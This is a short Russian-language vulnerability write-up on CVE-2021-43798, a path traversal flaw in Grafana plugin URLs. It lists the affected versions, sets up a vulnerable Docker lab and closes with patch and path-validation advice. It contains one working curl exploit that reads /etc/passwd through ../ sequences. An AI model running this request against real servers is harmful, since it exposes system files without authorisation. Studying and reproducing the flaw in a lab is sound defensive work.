CVE-2021-43798
1. Резюме
- Grafana — это платформа с открытым исходным кодом для мониторинга и управления данными. В указанных ниже версиях существует уязвимость Path Traversal, позволяющая манипулировать путями к файлам с помощью специальных символов, таких как ../.
- 8.0.0 и выше, ниже 8.0.7
- 8.1.0 и выше, ниже 8.1.8
- 8.2.0 и выше, ниже 8.2.7
- 8.3.0
- Уязвимый путь: <grafana_host_url>/public/plugins/<plugin_id>/, где <plugin_id> — это идентификатор установленного плагина. Подтвердить уязвимый путь можно по ссылке ниже.
2. Настройка и запуск уязвимой среды
2.1 Используемая среда
2.2 Способ запуска
docker-compose up -d
3. Воспроизведение уязвимости
- Просмотр открытого экрана
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Таким образом удалось получить доступ к etc/passwd.
4. Заключение (меры реагирования)
- Если вы используете уязвимую версию, необходимо обновиться до исправленных версий: 8.3.1, 8.2.7, 8.1.8, 8.0.7.
- Для предотвращения уязвимости Path Traversal следует применять подход белого списка (whitelist), разрешающий доступ только к разрешённым путям, а также осуществлять проверку пользовательского ввода и нормализацию путей, чтобы ограничить аномальный доступ к путям, таким как перемещение вверх по директориям (../).
Справочные материалы